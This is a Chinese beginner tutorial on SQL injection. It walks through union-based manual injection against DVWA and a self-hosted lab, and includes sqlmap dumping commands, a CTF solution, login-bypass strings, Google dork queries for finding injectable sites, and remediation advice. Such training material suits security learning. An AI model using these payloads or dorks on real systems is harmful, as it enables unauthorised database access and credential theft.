入门篇

一、课程目标

听完这节课你能学到些什么👇

知道什么是Sql注入
实现最基础的Sql注入
学会使用SqlMap工具
了解一些Web安全基本知识

二、初识SQL注入

1 什么是SQL

SQL（Structured Query Language）是用于访问和处理数据库的标准的计算机语言,SQL与数据库程序协同工作，比如 SQL Server、MySQL、Oracle、SQLite、MongoDB、PostgreSQL、MS Access、DB2以及其他数据库系统。

2020年5月

SQL执行流程

2 什么是SQL注入

SQL注入是指web应用程序对用户输入数据的合法性没有判断或过滤不严，攻击者可以在web应用程序中事先定义好的查询语句的结尾上添加额外的SQL语句，以此来实现欺骗数据库服务器执行非授权的任意查询，从而得到相应的数据信息。

通俗来说：OWASP Top10之一，SQL注入是通过将恶意的SQL语句插入到Web应用的输入参数中，欺骗服务器执行恶意的SQL命令的攻击。

SQL注入流程

3 SQL注入分类

根据SQL数据类型分类

整型注入
字符型注入

根据注入的语法分类

联合查询注入（Union query SQL injection）
报错型注入（Error-based SQL injection）
布尔型注入（Boolean-based blind SQL injection）
延时注入（Time-based blind SQL injection）
多语句查询注入（Stacted queries SQL injection）

三、初试SQL注入

1 手工注入常规思路

1.判断是否存在注入，注入是字符型还是数字型

2.猜解 SQL 查询语句中的字段数

3.确定显示的字段顺序

4.获取当前数据库

5.获取数据库中的表

6.获取表中的字段名

7.显示字段信息

手工注入流程

2 实现完整手工注入

靶机：DVWA

将DVWA的级别设置为low，可以看到源码中是一句简单的查询语句，没有进行任何过过滤

$query  = "SELECT first_name, last_name FROM users WHERE user_id = '$id';

因此我们完全可以插入自己想要执行的sql语句，那么我们开始吧！

输入我们输入1，那么执行的语句就是

SELECT first_name, last_name FROM users WHERE user_id = '1'

1.判断注入是字符型还是数字型

字符型和数字型最大区别: 数字型不需要单引号来闭合，而字符串一般需要通过单引号来闭合的

数字型：select * from table where id =$id

字符型：select * from table where id=’$id’

判断数字型

1 and 1=1 #永真式   select * from table where id=1 and 1=1
1 and 1=2 #永假式   select * from table where id=1 and 1=2
#if页面运行错误，则说明此Sql注入为数字型注入。

判断字符型

1' and '1'='1  
1' and '1'='2 
#if页面运行错误，则说明此 Sql 注入为字符型注入。

执行上面两种方式一种就可得出结论，显示这个是字符型注入

2.猜解SQL查询语句中的字段数

1' or 1=1 order by 1 #    查询成功  【order by x 对第几列进行排序】1'  order by 1 #  id=‘1‘  #’ 注释
1' or 1=1 order by 2 #    查询成功
1' or 1=1 order by 3 #    查询失败

说明执行的SQL查询语句中只有两个字段，即这里的First name、Surname。

3.确定显示的字段顺序

1' union select 1,2 #

说明执行的SQL语句为select First name,Surname from xx where ID=’id’

理解select 1,2：例如一个网站的参数传递执行的查询有3个字段，很可能这些字段不是都显示在网页前端的，假如其中的1或2个字段的查询结果是会返回到前端的，那么我们就需要知道这3个字段中哪两个结果会回显，这个过程相当于找到数据库与前端显示的通道。如果我们直接输入查询字段进行查询，语句会非常冗长，而且很可能还需要做很多次测试，这时候我们利用一个简单的select 1,2,3，根据显示在页面上的数字就可以知道哪个数字是这个“通道”，那么我们只需要把这个数字改成我们想查询的内容（如id,password），当数据爆破成功后，就会在窗口显示我们想要的结果。SELECT 1,2,3…的含义及其在SQL注入中的用法

4.获取当前数据库

上步知道字段显示顺序，那我们在字段2的位置上显示数据库试试

1' union select 1,database() #

说明当前的数据库为dvwa。

5.获取数据库中的表

1' union select 1,group_concat(table_name) from information_schema.tables where table_schema=database() #
1' union select 1,table_name from information_schema.tables where table_schema='dvwa' #

information_schema.tables存储了数据表的元数据信息，下面对常用的字段进行介绍：

table_schema: 记录数据库名；
table_name: 记录数据表名；
engine : 存储引擎；
table_rows: 关于表的粗略行估计；
data_length : 记录表的大小（单位字节）；
index_length : 记录表的索引的大小；
row_format: 可以查看数据表是否压缩过；

说明数据库dvwa中一共有两个表，guestbook与users。

6.获取表中的字段名

1' union select 1,group_concat(column_name) from information_schema.columns where table_name='users' #

说明users表中有8个字段，分别是user_id,first_name,last_name,user,password,avatar,last_login,failed_login

7.获取字段信息

1' union select group_concat(user_id,first_name),group_concat(password) from users #
1' union select group_concat(concat_ws(':',first_name,password)),2 from users #
1' union select first_name,password from users #

这样就得到了users表中所有用户的user_id,first_name,last_name,password的数据。

3 实战演练一哈

就以我自己搭建的靶机为例子🌰

在主页搜索框发现注入点，话不多说开始注入

#判断注入类型 #【数字型】
1 and 1=1 
1 and 1=2 
#查询数据库 #【test】
-1 union select 1,2,database()
#获取数据库中的表 #【admin、news】
-1 union select 1,group_concat(table_name),3 from information_schema.tables where table_schema='test' 
#获取表中的字段名 #【 user_id、user_name、user_pass】
-1 union select 1,2,group_concat(column_name) from information_schema.columns where table_name='admin'
#获取字段信息 【admin:mysql】
-1 union select 1,group_concat(user_name),group_concat(user_pass) from admin
-1 union select 1,user_name,user_pass from admin

我们又快速的实现了一次手工注入，但是你有没和我一样的感觉，太麻烦了，有更方便的方法吗，emm…

当然有啦，使用SqlMap工具可以快速实现注入👇

四、使用SqlMap注入

具体使用方法请问我之前写的文章👉sqlmap使用方法

SqlMap初体验

接着使用上面靶机进行测试

#查询数据库 #【test】
python sqlmap.py -u http://139.224.112.182:8801/search.php?id=1 --dbs
#获取数据库中的表 #【admin、news】
python sqlmap.py -u http://139.224.112.182:8801/search.php?id=1 -D test --tables
#获取表中的字段名 #【 user_id、user_name、user_pass】
python sqlmap.py -u http://139.224.112.182:8801/search.php?id=1 -D test -T admin --columns
#获取字段信息 【admin:mysql】
python sqlmap.py -u http://139.224.112.182:8801/search.php?id=1 -D test -T admin -C user_name,user_pass --dump

一道CTF题目

题目：简单的sql注入2

地址：http://139.224.112.182:8087/ctf_collect

解析：https://www.jianshu.com/p/1aeedef99f21

1.查询当前数据库(空格被过滤可以使用tamper脚本中space2comment)

python sqlmap.py -u http://ctf5.shiyanbar.com/web/index_2.php?id=1 --tamper=space2comment --dbs

发现web1数据库

2.查询数据库中的表

python sqlmap.py -u http://ctf5.shiyanbar.com/web/index_2.php?id=1 --tamper=space2comment -D web1 --tables

发现flag表

3.查询flag表中字段名

python sqlmap.py -u http://ctf5.shiyanbar.com/web/index_2.php?id=1 --tamper=space2comment --columns -T flag -D web1

发现flag字段

4.查询字段flag信息

python sqlmap.py -u http://ctf5.shiyanbar.com/web/index_2.php?id=1 --tamper=space2comment --dump -C flag -T flag -D web1

五、发现注入点

1 使用漏洞扫描工具

工具：OWASP ZAP、D盾、Seay

万能密码：

1' or 1=1 # 用户名和密码都可  
' or '1'='1' -- 
1' or '1'='1 密码才可

2 通过Google Hacking 寻找SQL注入

看到这里我们已经完成了一次最基础的GET字符型Sql注入，有人可能会问了，这是自己搭建的靶机，知道是存在sql注入，真实环境中如何去发现Sql注入呢

inurl:php?id=
inurl:.asp?id=
inurl:index.php?id=
inurl:showproduct.asp?id=
site:http://139.224.112.182:8802/ inurl:php?id
site:https://jwt1399.top inurl:.html
......

服务器报错，并把错误信息返回到网页上面。根据错误信息，判断这里大概率存在注入点。

六、修复建议

过滤用户输入的数据。默认情况下，应当认为用户的所有输入都是不安全的。
对于整数，判断变量是否符合[0-9]的值；其他限定值，也可以进行合法性校验；
对于字符串，对SQL语句特殊字符进行转义(单引号转成两个单引号，双引号转成两个双引号)。
绑定变量，使用预编译语句

SQL注入从入门到进阶（一）--->入门篇

入门篇

一、课程目标

二、初识SQL注入

1 什么是SQL

2 什么是SQL注入

3 SQL注入分类

三、初试SQL注入

1 手工注入常规思路

2 实现完整手工注入

1.判断注入是字符型还是数字型

2.猜解SQL查询语句中的字段数

3.确定显示的字段顺序

4.获取当前数据库

5.获取数据库中的表

6.获取表中的字段名

7.获取字段信息

3 实战演练一哈

四、使用SqlMap注入

SqlMap初体验

一道CTF题目

五、发现注入点

1 使用漏洞扫描工具

2 通过Google Hacking 寻找SQL注入

六、修复建议

热门文章

最新文章

相关课程

相关电子书

相关实验场景

SQL注入从入门到进阶（一）---&gt;入门篇

入门篇

一、课程目标

二、初识SQL注入

1 什么是SQL

2 什么是SQL注入

3 SQL注入分类

三、初试SQL注入

1 手工注入常规思路

2 实现完整手工注入

1.判断注入是字符型还是数字型

2.猜解SQL查询语句中的字段数

3.确定显示的字段顺序

4.获取当前数据库

5.获取数据库中的表

6.获取表中的字段名

7.获取字段信息

3 实战演练一哈

四、使用SqlMap注入

SqlMap初体验

一道CTF题目

五、发现注入点

1 使用漏洞扫描工具

2 通过Google Hacking 寻找SQL注入

六、 修复建议

热门文章

最新文章

相关课程

相关电子书

相关实验场景

SQL注入从入门到进阶（一）--->入门篇

六、修复建议